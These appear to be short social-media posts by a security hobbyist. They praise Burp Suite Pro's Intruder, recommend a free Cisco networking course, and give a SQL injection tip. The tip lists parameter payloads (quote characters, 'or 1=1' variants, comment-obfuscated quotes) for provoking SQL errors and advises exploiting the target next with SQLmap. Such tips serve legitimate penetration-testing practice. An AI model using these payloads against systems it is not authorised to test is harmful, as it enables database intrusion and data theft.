The power of Burpsuite pro, I just realized. Specially the intruder option. It's freaking fast. I was using the community edition. Now the pro made me surprised. Let me know if there's anything I should try definitely with the pro Burpsuite.
Packed with information. I was excited about doing this course. Recommended for people who want to start a journey in the Networking field. Completely free course offered by @CiscoNetAcad.
#cisco#CiscoNetAcad#networking
At first, Try to get a SQL error using this method. Then exploit through SQLmap.
If you get any parameters, try this:
/?p=1
/?p=1'
/?p=1`
/?p=1"
/?p=1\
/?p=[1]
/?p[]=1
/?p=1/*'*/
/?p='or''='
/?p=1 or 1=1
/?p=1' or '1'='1
/?p=1/*!1111'*/
/?p=1'||'asd'||' <-- Concat string
#sqli